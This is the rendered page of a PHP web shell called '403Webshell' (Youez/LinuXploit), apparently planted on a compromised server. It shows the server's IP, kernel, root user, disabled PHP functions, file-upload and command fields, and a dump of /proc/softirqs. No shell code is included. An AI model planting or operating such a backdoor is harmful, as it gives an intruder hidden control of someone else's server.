403Webshell
Server IP : 37.27.51.148  /  Your IP : 37.27.51.148
Web Server : nginx/1.14.1
System : Linux libra 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 20:24:04 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.31
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      CPU19      CPU20      CPU21      CPU22      CPU23      CPU24      CPU25      CPU26      CPU27      CPU28      CPU29      CPU30      CPU31      
          HI:        574        553       1069        489        510        490        542        481        840        418        469        375          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:  863960024 1138962120 1091845480 1005742848 1116116558 1081187519 1206217664 1167416076 1786154035 1108929225 1122715310 1065851628          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_TX:    4923698  213787830  403583327   25446036  217800120  171200957  503368764  179064813  331312055  778472314 1026002112  339803490          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
      NET_RX: 3993139440 1915838532 2949066820  103217960 2275282214 1015999947 2271725923  145510524 1153883756  742989508 1427337412 1931912852          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       BLOCK:       2852       5562       8627       2090       1716       1896       5839      19615      10603       2251       2380       2033          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    1113549  182547129  653850369   14576351  537621163  151423459  402174246  422687744  279724307 1490604454 1352847291  659049067          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       SCHED: 4159120608  400955179 3035990162 2499748513 2310154646 2181060325 2144625509 2105095669 2366307949 2155116022 2126386503 2110157445          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     HRTIMER:       8969      19454    1286873      26075    5478456      24923     739191    2566666      21472    8203816    2964897    2218350          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
         RCU: 3182829081 2629535279 1866573157 3175216803 1624341760 1871415892 1874554939 3992492024 2165635648 1988911592 1610793603 2038954156          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0

Youez - 2016 - github.com/yon3zu
LinuXploit